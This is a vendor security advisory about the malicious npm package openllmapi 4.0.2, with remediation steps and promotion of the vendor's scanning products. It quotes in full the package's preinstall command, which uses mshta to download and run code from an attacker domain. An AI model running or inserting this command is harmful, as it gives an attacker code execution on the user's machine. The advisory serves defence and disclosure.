openllmapinpm
Malicious code in openllmapi (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's preinstall lifecycle script (preinstall.js line 3) runs cmd /c "mshta http://fixars.top", which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on npm install and yields arbitrary code execution on the installer's machine with the user's privileges. The package metadata is consistent with a throwaway malicious publish: empty author, no repository or homepage, and a generic description ('Node.js wrapper for OpenLLM API service.') that does not match the install-time behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for openllmapi (version 4.0.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging openllmapi across your stack and pipelines.
If you installed it — respond
Remove openllmapi from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If openllmapi was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks openllmapi before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks openllmapi-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.